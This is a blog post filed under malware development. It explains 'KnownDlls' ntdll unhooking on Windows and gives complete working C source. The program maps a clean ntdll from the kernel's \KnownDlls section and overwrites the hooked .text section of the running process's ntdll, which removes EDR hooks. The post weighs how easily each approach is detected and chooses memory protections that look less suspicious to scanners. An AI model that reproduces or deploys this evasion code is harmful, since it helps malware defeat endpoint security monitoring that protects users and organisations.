Unhooking NTDLL - Knowndlls

Posted Jun 27, 2026

By N0xshell

7 min read

What is it?

Gets a clean, unhooked copy of ntdll from Windows’ \KnownDlls\ object directory — a kernel-maintained set of pre-loaded section objects for commonly used system DLLs. Unlike the suspended process approach, this requires no child process: you open the section directly from the kernel’s object namespace and map it.

How it works

MapNtdllKnownDlls():

  UNICODE_STRING for "\KnownDlls\ntdll.dll":
    Buffer = L"\KnownDlls\ntdll.dll"
    Length = wcslen(NTDLL) * sizeof(WCHAR)
    MaximumLength = Length + sizeof(WCHAR)

  InitializeObjectAttributes(&ObjAttributes, &UniString,
    OBJ_CASE_INSENSITIVE, NULL, NULL)

  Resolve NtOpenSection dynamically (NOT via direct import):
    GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection")
    → Note: OpenFileMappingW doesn't work for object directory sections,
      only NtOpenSection can open named kernel section objects

  NtOpenSection(&hSection, SECTION_MAP_READ, &ObjAttributes)
  → hSection: handle to the pre-loaded ntdll section in kernel

  MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0)
  → pNtdllAddr: read-only mapped view of KnownDlls ntdll
    This ntdll was loaded by the kernel before ANY userland code ran
    No EDR has touched it.

  CloseHandle(hSection)
  *ppNtdlAddr = pNtdllAddr


FetchLocalNtdllBaseAddress():
  __readgsqword(0x60) → PEB
  PEB→Ldr→InMemoryOrderModuleList.Flink→Flink - 0x10
  → ntdll base address in current process (the hooked one)


ReplaceNtdllTxtSection(pUnhookedNtdll):

  Extra sanity check (not in the suspended-process version):
  if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
    return FALSE
  → Verifies the first 4 bytes of the clean copy match what we expect
    before overwriting (prevents clobbering if wrong section was found)

  VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY)
  memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize)
  VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, OldProtect)

  UnmapViewOfFile(pNtdll)  ← clean up the KnownDlls mapping


KnownDlls vs Suspended Process comparison:
  KnownDlls:
    ✓ No child process created (no process creation event)
    ✓ Section always matches running OS exactly
    ✓ Fast — direct kernel object access
    ✗ NtOpenSection with object directory path — unusual, can be monitored

  Suspended Process:
    ✓ Uses common APIs (CreateProcess, ReadProcessMemory)
    ✗ Creates a visible child process event (Sysmon logs it)
    ✗ Slightly slower (process creation overhead)

OpenFileMappingW doesn’t work for KnownDlls because those are section objects in the kernel object namespace (\KnownDlls\), not named file mappings in the Win32 namespace. NtOpenSection is the native API that operates on the NT object namespace directly — hence the dynamic resolution via GetProcAddress rather than a direct import.

PAGE_EXECUTE_WRITECOPY is used instead of PAGE_EXECUTE_READWRITE for the protection change — WRITECOPY creates a private copy-on-write mapping, which is slightly less suspicious than a fully writable+executable page from a memory scanner’s perspective.

ntdll-knowndlls.c

        
      
/*
	Windows maintains a special object directory named "\KnownDlls"
	that contains section objects for a set of commonly used system DLLs.

	Processes can map these section objects directly instead of loading
	the DLL from disk, allowing multiple processes to share the same
	physical memory pages for these modules.
*/

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>

// KnownDlls path for ntdll (Unicode string literal)
#define NTDLL	L"\\KnownDlls\\ntdll.dll"
#define ERR(WinAPI) printf("[!] %s Failed With Error : %d \n", WinAPI, GetLastError())


// OpenFileMappingW is not working, for that reason we are using NtOpenSection instead
// Function pointer typedef for NtOpenSection
typedef NTSTATUS(NTAPI* fnNtOpenSection) (
	PHANDLE		SectionHandle,
	ACCESS_MASK	DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes		// Pointer to OBJECT_ATTRIBUTES struct, specifies the object name.
);

BOOL MapNtdllKnownDlls(_Out_ PVOID* ppNtdlAddr) {
	
	HANDLE hSection					= NULL;
	PBYTE pNtdllAddr					= NULL;
	NTSTATUS	STATUS				= NULL;
	UNICODE_STRING	UniString		= { 0 };
	OBJECT_ATTRIBUTES ObjAttributes = { 0 };


	// Construct unicode string that will hold \KnownDlls\ntdll.dll
	UniString.Buffer = (PWSTR)NTDLL;
	UniString.Length = wcslen(NTDLL) * sizeof(WCHAR);		// Determine size in bytes
	UniString.MaximumLength = UniString.Length + sizeof(WCHAR);

	// Init ObjAttributes with UniString
	// OBJ_CASE_INSENSITIVE ensures the lookup works regardless of case
	InitializeObjectAttributes(&ObjAttributes, &UniString, OBJ_CASE_INSENSITIVE, NULL, NULL);


	// Resolve NtOpenSection dynamically
	fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection");

	// Get handle from known dlls
	STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAttributes);
	if (STATUS != 0x00) {
		ERR("NtOpenSection");
		goto _End;
	}
	
	// Map ntdll into memory
	pNtdllAddr = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
	if (!pNtdllAddr) {
		ERR("MapViewOfFile");
		goto _End;
	}

	// Casting out
	*ppNtdlAddr = pNtdllAddr;

_End:
	if (hSection)
		CloseHandle(hSection);
	if (*ppNtdlAddr == NULL)
		return FALSE;
	else
		return TRUE;
}



PVOID FetchLocalNtdllBaseAddress() {

#ifdef _WIN64
	PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
	PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64

	// Reaching to the 'ntdll.dll' module directly (we know its the 2nd image after 'DiskHooking.exe')
	// 0x10 is = sizeof(LIST_ENTRY)
	PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);

	return pLdr->DllBase;
}



BOOL ReplaceNtdllTxtSection(_In_ PVOID pUnhookedNtdll) {

	PVOID				pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

	printf("[+] 'Hooked' Ntdll Base Address : 0x%p \n\t[i] 'Unhooked' Ntdll Base Address : 0x%p \n", pLocalNtdll, pUnhookedNtdll);
	printf("[#] Press <Enter> To Continue ... ");
	getchar();

	// getting the dos header
	PIMAGE_DOS_HEADER	pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
	if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return FALSE;

	// getting the nt headers
	PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
	if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;


	PVOID		pLocalNtdllTxt = NULL,	// local hooked text section base address
		pRemoteNtdllTxt = NULL; // the unhooked text section base address
	SIZE_T		sNtdllTxtSize = NULL;	// the size of the text section



	// getting the text section
	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);

	for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {

		// the same as if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
		if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
			pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
			pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
			sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
			break;
		}
	}

	//---------------------------------------------------------------------------------------------------------------------------

	printf("[+] 'Hooked' Ntdll Text Section Address : 0x%p \n\t[i] 'Unhooked' Ntdll Text Section Address : 0x%p \n\t[i] Text Section Size : %d \n", pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
	printf("[#] Press <Enter> To Continue ... ");
	getchar();

	// small check to verify that all the required information is retrieved
	if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
		return FALSE;

	// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text section
	if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
		return FALSE;

	//---------------------------------------------------------------------------------------------------------------------------

	printf("[i] Replacing The Text Section ... ");
	DWORD dwOldProtection = NULL;

	// making the text section writable and executable
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
		printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// copying the new text section 
	memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

	// rrestoring the old memory protection
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
		printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE !\n");

	return TRUE;
}

int main() {
	
	PVOID pNtdll = NULL;

	printf("[+] Retrieve A New \"ntdll.dll\" File from \"\\KnownDlls\\\" \n");

	if (!MapNtdllKnownDlls(&pNtdll))
		return -1;

	if (!ReplaceNtdllTxtSection(pNtdll))
		return -1;

	UnmapViewOfFile(pNtdll);

	printf("[+] Ntdll Unhooked Successfully \n");

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

Malware, Development

malware development lang-c

This post is licensed under CC BY 4.0 by the author.

Source code: Unhooking NTDLL - Knowndlls

What is it?

How it works

ntdll-knowndlls.c

Trending Tags